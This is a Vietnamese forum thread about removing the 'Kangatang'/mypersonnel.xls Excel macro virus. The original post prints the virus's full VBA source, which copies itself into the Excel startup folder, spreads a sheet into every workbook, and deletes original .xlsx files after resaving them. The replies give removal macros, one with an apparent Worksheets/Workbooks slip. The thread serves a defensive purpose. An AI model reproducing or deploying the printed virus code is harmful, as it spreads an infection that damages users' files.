Khắc Phục Tập tin bị lây nhiễm virus VBA

[xinbintin]

Hi mọi người, trả là hiện tại em đang bị lây nhiễm một con virus VBA rất khó chịu, hiện tại khi em tạo một tập tin excel mới thì mặc định khi em mở về view code ở file excel đó thì trong file tự tạo có một moddul vba với tên là kangantang . Và mỗi lần em đóng file nó đều bắt em phải lưu một định dạng rất bất tiện và khó chịu.
( Đây là đoạn code của nó :
Sub Autpen()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
Application.ScreenUpdating = False
Windows(1).Visible = False
ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
Windows(1).Visible = True
End If

Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
Application.ScreenUpdating = False
currentsh = ActiveSheet.Name
ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets(currentsh).Select
Application.ScreenUpdating = True


End If
End Sub.

Mọi người có ai có cách khắc phục chỉ giúp em vs ạ .

 

[HeSanbi]

Copy đoạn code dưới vào cửa sổ Immediate ( mở Ctrl+G) rồi Enter chờ thư mục mở lên:

Shell "Explorer.exe """ & Application.StartupPath & """", vbNormalFocus
Hoặc
Shell "Explorer.exe """ & Application.Path & "\XLSTART""", vbNormalFocus

Xong đóng toàn bộ ứng dụng Excel đang mở, rồi xóa file mypersonnel.xls nếu có trong thư mục.

 

[HoangAnhtu9959]

Copy đoạn code dưới vào cửa sổ Immediate ( mở Ctrl+G) rồi Enter chờ thư mục mở lên:

Shell "Explorer.exe """ & Application.StartupPath & """", vbNormalFocus
Hoặc
Shell "Explorer.exe """ & Application.Path & "\XLSTART""", vbNormalFocus

Xong đóng toàn bộ ứng dụng Excel đang mở, rồi xóa file mypersonnel.xls nếu có trong thư mục.

Copy đoạn code dưới vào cửa sổ Immediate ( mở Ctrl+G) rồi Enter chờ thư mục mở lên:

Shell "Explorer.exe """ & Application.StartupPath & """", vbNormalFocus
Hoặc
Shell "Explorer.exe """ & Application.Path & "\XLSTART""", vbNormalFocus

Xong đóng toàn bộ ứng dụng Excel đang mở, rồi xóa file mypersonnel.xls nếu có trong thư mục.

cảm ơn bạn nhiều nha, mình bị lỗi y như này rất khó chịu. giờ đã fix được thành công.

 

[hungmanh98]

Tất cả các File excel máy em mở lên là nó giật nháy màn hình làm việc excel liên tục; đơ lag ko làm được gì trên các thanh công cụ excel và màn hình làm việc. Tên file excel thì hiện ko đúng tên file mình mở mà nó lại hiển thị tên mypersonnel.xls . Di chuyển chuột mở word hay các ứng dụng khác vẫn dùng bình thường. Rất mong nhận được sự hướng dẫn và hỗ trợ của các bác!

 

[BumGiaHan]

Copy đoạn code dưới vào cửa sổ Immediate ( mở Ctrl+G) rồi Enter chờ thư mục mở lên:

Shell "Explorer.exe """ & Application.StartupPath & """", vbNormalFocus
Hoặc
Shell "Explorer.exe """ & Application.Path & "\XLSTART""", vbNormalFocus

Xong đóng toàn bộ ứng dụng Excel đang mở, rồi xóa file mypersonnel.xls nếu có trong thư mục.

làm theo hướng dẫn của bạn xong rồi mà vẫn bị lại thì làm sao bạn? Xóa đi nó lại sinh ra cái file Mypersonel đó!

 

[HeSanbi]

@BumGiaHan

Bạn kiểm tra các thư mục khởi động, thư mục Add-in của Excel xem tệp đó còn tồn tại không

Sub OpenAllSTARTUP()
  On Error Resume Next
  ActiveWorkbook.FollowHyperlink Application.StartupPath
  ActiveWorkbook.FollowHyperlink Replace(Application.StartupPath, "Excel\XLSTART", "AddIns")
  ActiveWorkbook.FollowHyperlink Replace(Application.StartupPath, "Excel\XLSTART", "Bo" & ChrW(770) & ChrW(777) & " tro" & ChrW(795) & ChrW(803))
  ActiveWorkbook.FollowHyperlink Application.Path & "\STARTUP"
  ActiveWorkbook.FollowHyperlink Application.Path & "\XLSTART"
End Sub

 

[BumGiaHan]

@BumGiaHan

Bạn kiểm tra các thư mục khởi động, thư mục Add-in của Excel xem tệp đó còn tồn tại không

Sub OpenAllSTARTUP()
  On Error Resume Next
  ActiveWorkbook.FollowHyperlink Application.StartupPath
  ActiveWorkbook.FollowHyperlink Replace(Application.StartupPath, "Excel\XLSTART", "AddIns")
  ActiveWorkbook.FollowHyperlink Replace(Application.StartupPath, "Excel\XLSTART", "Bo" & ChrW(770) & ChrW(777) & " tro" & ChrW(795) & ChrW(803))
  ActiveWorkbook.FollowHyperlink Application.Path & "\STARTUP"
  ActiveWorkbook.FollowHyperlink Application.Path & "\XLSTART"
End Sub

mình không biết kiểm tra ạ

 

[HeSanbi]

mình không biết kiểm tra ạ

Bạn thao tác như sau:
Nhấn Alt+F11 để mở VBA, chuột phải vào một dự án tạo một Module ,chép mã vào module mới, và trỏ chuột vào mã, nhấn F5

Sub OpenAllSTARTUP()
  On Error Resume Next
  Dim s$: s = "mypersonnel.xls"
  Worksheets(s).Close False
  Application.Wait now + timeSerial(0,0,2)
  Kill Application.StartupPath & "\" & s
  Kill Replace(Application.StartupPath, "Excel\XLSTART", "AddIns") & "\" & s
  Kill Replace(Application.StartupPath, "Excel\XLSTART", "Bo" & ChrW(770) & ChrW(777) & " tro" & ChrW(795) & ChrW(803)) & "\" & s
  Kill Application.Path & "\STARTUP" & "\" & s
  Kill Application.Path & "\XLSTART" & "\" & s
End Sub